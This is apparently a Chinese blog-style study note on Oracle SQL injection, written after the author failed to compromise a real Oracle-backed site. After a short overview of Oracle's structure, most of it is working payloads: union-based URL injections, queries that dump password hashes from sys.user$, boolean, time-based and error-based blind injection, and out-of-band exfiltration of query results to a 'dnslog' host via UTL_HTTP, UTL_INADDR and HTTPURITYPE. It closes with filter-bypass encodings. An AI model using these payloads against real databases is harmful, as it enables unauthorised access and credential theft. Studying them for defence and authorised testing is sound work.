最近学习过程中碰到了有使用oracle数据库的站,但是最后没有拿下来 太菜了ORZ
所以学习了一下oracle注入,oracle其他的洞还在学习中ing...
先来了解一下oracle数据库:
Oracle Database,又名Oracle RDBMS,或简称Oracle。是甲骨文公司的一款关系数据库管理系统,系统可移植性好、使用方便、功能强,适用于各类大、中、小、微机环境。它是一种高效率、可靠性好的、适应高吞吐量的数据库方案。
把数据库
(Database)可以看成是一个大仓库,然后仓库里面又很分了很多的库房
(Schema),一个Schema就是一个库房,那么库房里面自然就有很多货架
(Table),
那么货架上就可以放很多你想存储的东西,有行有列,所以货架(Table)就是数据存储的基本单位。每个库房(Schema)都会有一个管理人员
(User),这个关系是对应的,每个User只管理自己相应Schema里面的数据,如果你想要其他Schema里面的数据,就看管理这个Schema的User给不给你权限了,或者说看上一级领导
(DBA)有没有给你这个权限,可能有的User管理着好几个Schema。如果你是仓库的老板
,那么仓库里面的所有东西都是你的,你想存储什么或丢掉什么都是老板话算,还可以给下层的人分配不同的权限,比如仓库的不同主管,有的主管可能只读,有的主管有读写权限,这个就要涉及到仓库不同的角色
(Role),角色是一个权限的集合,不同的角色有不同的权限去管理这个数据库。
1)SID(Site ID):一个由字母和数字组成的系统标识符用来做实例的唯一性的区别,包含了至少一个应用程序的实例和数据存储设备
2)实例(Instance):由一个实例数字(或是一个引导ID:SYS.V_$DATABASE.ACTIVATION#)表示,包含了一个操作系统程序的集合和与存储设备进行交谈的内部结构
ORACLE实例 = 进程 + 进程所使用的内存(SGA)
System Global Area
(系统全局区域)。实际上是内存中的一片共享区域,其中包含实例配置、数据缓存、操作日志、SQL命令、用户信息等信息,由后台进程进行共享3)数据库:一般指物理存储的文件,Oracle 数据库除了基本的数据文件,还有控制文件
和 Redo 日志
(重做文件 + 控制文件 + 数据文件 + 临时文件),这些文件一般存储在$ORACLE_HOME\oradata...路径下,后缀名后DBF
简而言之,实例是临时性的,数据库是永久性的,一个数据库可以对应多个实例,而一个实例只能对应一个数据库
逻辑结构:表空间-->段-->区-->块
物理结构:
Oracle关系型数据库管理系统从逻辑上把数据保存在表空间内
,在物理上以数据文件的形式存储。表空间可以包含多种类型的内存区块
,例如数据区块(Data Segment)、索引区块(Index Segment)等等。区块相应的由一个或多个扩展(extent)组成
表空间
(Tablespace):数据文件就是由多个表空间组成的,这些数据文件和相关文件形成一个完整的数据库(以下的DBF后缀就是数据库默认创建的表空间)
数据字典
以及(默认的)索引
和集群
。数据字典包含了一个保存了所有数据库中用户对象的信息的表
,用于存储系统表和管理配置等基本信息应用系统
所使用的数据库对象,存储我们定义的表和数据一般oracle数据库安装成功后会创建几个默认用户sys
、system
、public
等
这里使用了解一些基本语法的话,就了解一些跟mysql不一样的地方
Oracle 使用查询语句获取数据时需要跟上表名,没有表的情况下可以使用dual,dual是Oracle的虚拟表,用来构成select的语法规则,Oracle保证dual里面永远只有一条记录
都是遵守的SQL标准语法
select 必须要指明表名。也可以用 dual
作为表名来对非真实的表进行查询
Oracle 中空字符串''
就是null
(也就是说oracle只有null
,没有空字符)
Oracle使用 ||
拼接字符串,MySQL中为或运算
oracle的单引号与mysql一样的,只不过oracle的双引号是用来消除系统关键字的
Oracle中limit应该使用虚表中的rownum字段通过where条件判断
select * from pyy where rownum = 1;
Oracel的单行注释符是--,多行注释符是/**/
Oracle的系统表:
user_tables
的范围最小,all_tables
看到的东西稍多一些,而 dba_tables
的信息最全
DBA_TABLES >= ALL_TABLES >= USER_TABLES
获取数据库版本:
SELECT banner FROM v$version WHERE banner LIKE 'Oracle%';
SELECT version FROM v$instance;
具体注入的语句:
http://127.0.0.1/oracle?id=99' union select 1,'a',(SELECT banner FROM v$version WHERE banner LIKE 'Oracle%25') from dual -- +
获取操作系统版本:
SELECT banner FROM v$version where banner like 'TNS%';
http://127.0.0.1/oracle?id=99' union select 1,'a',(SELECT banner FROM v$version where banner like 'TNS%25') from dual -- +
获取当前用户权限的所有数据库:
SELECT DISTINCT owner, table_name FROM all_tables;
获取当前数据库:
SELECT global_name FROM global_name;
SELECT name FROM v$database;
SELECT instance_name FROM v$instance;
SELECT SYS.DATABASE_NAME FROM DUAL;
获取用户相关信息:
SELECT user FROM dual;获取当前数据库用户
SELECT username FROM all_users ORDER BY username;列出所有用户
SELECT name FROM sys.user$; — priv;列出所有用户
列出密码哈希:
SELECT name, password, astatus FROM sys.user$ — priv; <= 10g(astatus能够在acct被锁定的状态下给你反馈)
SELECT name,spare4 FROM sys.user$ — priv; 11g
获取数据库所有用户:
SELECT username FROM all_users ORDER BY username;
SELECT name FROM sys.user$; -- priv;
SELECT * FROM session_privs; 获取当前用户权限
SELECT * FROM dba_sys_privs -- priv; 获取所有用户权限
获取用户角色
SELECT GRANTEE, GRANTED_ROLE FROM DBA_ROLE_PRIVS;
SELECT DISTINCT grantee FROM dba_sys_privs;
获取所有数据库用户密码
SELECT name, password, astatus FROM sys.user$; -- priv, <= 10g;
SELECT name, spare4 FROM sys.user$; -- priv, >= 11g;
列出DBA账户:
SELECT DISTINCT grantee FROM dba_sys_privs WHERE ADMIN_OPTION = ‘YES’; — priv;
获取主机名和IP
SELECT UTL_INADDR.get_host_name FROM dual;
SELECT host_name FROM v$instance;
SELECT UTL_INADDR.get_host_address FROM dual; 查IP
SELECT UTL_INADDR.get_host_name(‘127.0.0.1’) FROM dual; 查主机名称
SELECT name FROM V$DATAFILE; 获取DB文件路径
获取字段名和表名
SELECT table_name FROM all_tables; 获取表名
SELECT column_name FROM all_tab_columns; 获取字段名
基本类型和mysql其实都差不多
盲注
1)布尔盲注
利用字符串相关函数,对逐个字符进行比较猜解来获取数据
http://127.0.0.1/oracle?id=99' and (select substr(user, 1, 1) from dual)='O' -- +
或者利用decode函数+除0(关于decode函数看上面基本函数)
http://127.0.0.1/oracle?id=99' and 1=(select decode(substr(user, 1, 1), 'O', (1/1),0) from dual) -- +
或者利用instr函数来进行布尔盲注(从一个字符串中查找指定子串的位置,查询结果中的位置,未找到便返回0,可以通过对子串位置进行遍历和迭代,获取到数据)
?username=user'and 1=(instr((select user from dual),'ADMIN')) --
2)时间盲注
利用时间延迟函数配合replace和substr以及decode来进行注入
select 1 from dual where DBMS_PIPE.RECEIVE_MESSAGE('olo', REPLACE((SELECT substr(user, 1, 1) FROM dual), 'O', 10))=1;
select decode(substr(user,1,1),'O',dbms_pipe.receive_message('olo',10),0) from dual;
select 1 from dual where 1=0 or DBMS_PIPE.RECEIVE_MESSAGE('pyy', REPLACE((SELECT substr(user, 1, 1) FROM dual), 'P', 1))=1;
也可以利用获取大量数据的语句
select count(*) from all_objects
3)报错注入
在11g之前不需要任何权限,在11g之后当前的数据库用户必须有网络访问权限
select utl_inaddr.get_host_name((select user from dual)) from dual;
处理文本的函数,传入参数错误的时会报错返回异常
select ctxsys.drithsx.sn(1, (select user from dual)) from dual;
用于处理文本,也会出现参数错误返回异常
select CTXSYS.CTX_REPORT.TOKEN_TYPE((select user from dual), '123') from dual;
XMLType是oracle系统定义的数据类型,系统预定义了内部函数去访问XML数据
select XMLType('<:'||(select user from dual)||'>') from dual;
PS:调用的时候必须以<:开头和>结尾,即 '<:'||balabala||'>' 或者 chr(60)||balabal||chr(62);如果返回的数据种有空格的话,会自动截断,导致数据不完整,这种情况下需要先转为 hex,再导出(或者有replace函数替换成其他非空字符)
select dbms_xdb_version.checkin((select user from dual)) from dual;
select dbms_xdb_version.makeversioned((select user from dual)) from dual;
select dbms_xdb_version.uncheckout((select user from dual)) from dual;
SELECT dbms_utility.sqlid_to_sqlhash((select user from dual)) from dual;
select ordsys.ord_dicom.getmappingxpath((select user from dual), 1, 1) from dual;
select UTL_INADDR.get_host_name((select user from dual)) from dual;
select UTL_INADDR.get_host_name('~'||(select user from dual)||'~') from dual;
联合注入
跟mysql一样利用union拼接select来进行联合注入(步骤也和mysql差不多)
Tips:Oracle的数据类型是强匹配的,所以在Oracle进行类似UNION查询数据时候必须让对应位置上的数据类型和表中的列的数据类型是一致的,也可以使用null代替某些无法快速猜测出数据类型的位置,最后查询返回指定的记录时,oracle没有limit函数,要通过'>=0<=1'这种形式来指定
select 列名 from (select rownum r,列名 from 表名) where r>0 and r<5
1)先用order by来判断列数
?id=-1'% order by 10 --
2)判断列数后使用null代替来注入数据
?id=-1' union select null,null,null,null,null,null,null,null,null,null from dual --
3)获取当前数据库用户信息和数据库信息参照上面给出的语句
4)注入爆库名
?id=99' union select null,null,null,null,(select owner from all_tables where rownum=1),null,null,null,null,null from dual --
这里用rownum来指定返回结果,如果要匹配字符的数据库需要使用<>(rownum = 1 and owner <> 'MASTER')
5)注入爆表名
?id=99' union select null,null,null,null,(select table_name from user_tables where rownum = 1),null,null,null,null,null from dual --
6)注入爆列
?id=99' union select null,null,null,(select column_name from user_tab_columns where table_name='ADMIN' and rownum=1),null,null,null,null,null,null from dual --
改变rownum来注入不同的列
7)最后注入爆数据跟mysql都是一样的,知道表名和列名直接select就行了
OOB
(带外通道):使用一些除常规通道以外的替代的信道来请求服务器资源,一般使用 Oracle 发送HTTP
或者DNS
请求,将查询结果带到请求中,然后监测外网服务器的HTTP
和DNS
日志,从日志中获取 sql 语句查询的结果,通过这种方式将繁琐的盲注转换成可以直接简便的获取查询结果的方式,尤其是基于时间的盲注,能极大地加快速度;类似于sql注入中的使用load_file带外盲注
所以使用OOB需要有发起网络请求的权限
utl_http.request向外网主机发送http请求,需要出外网http
select utl_http.request('dnslog'||(select user from dual)) from dual;
dns解析带外
把查询结果拼接到域名下,并使用DNS记录解析日志,通过这种方式获取查询结果
select utl_inaddr.get_host_address((select user from dual)||'dnslog') from dual
在oracle10g和11g里面只需要public权限
SELECT DBMS_LDAP.INIT((‘dnslog',80) FROM DUAL;
HTTPURITYPE根据给定的URI创建一个实例
SELECT HTTPURITYPE((select user from dual)||'dnslog').GETCLOB() FROM DUAL;
Oracle <= 10g
以下模块都可用于发起网络请求
UTL_INADDR.GET_HOST_ADDRESS
UTL_HTTP.REQUEST
HTTP_URITYPE.GETCLOB
DBMS_LDAP.INIT and UTL_TCP
hextoraw():十六进制字符串转换为raw
SELECT UTL_RAW.CAST_TO_VARCHAR2(hextoraw("abcdef")) FROM dual
使用rawtohex()来进行ascii的解码
SELECT rawtohex('abcdef') FROM dual
下面是一些利用编码绕过的情况
SELECT 1 FROM dual; 正常语句
SELECT%0a1%0aFROM%0adual; \n换行来替代空格
SELECT%0b1%0bFROM%0bdual; 使用tab来替换空格
SELECT%0c1%0cFROM%0cdual; 使用\r回车开替换空格
SELECT/**/1/**/FROM/**/dual; 多行注释符来替代回车
SELECT--%0a1--%0aFROM--%0adual; 单行注释符和换行来替代回车
SELECT/*!12321SELECT*/1/*!12321AND*/FROM/*!12321QWE*/dual; 使用内联注释符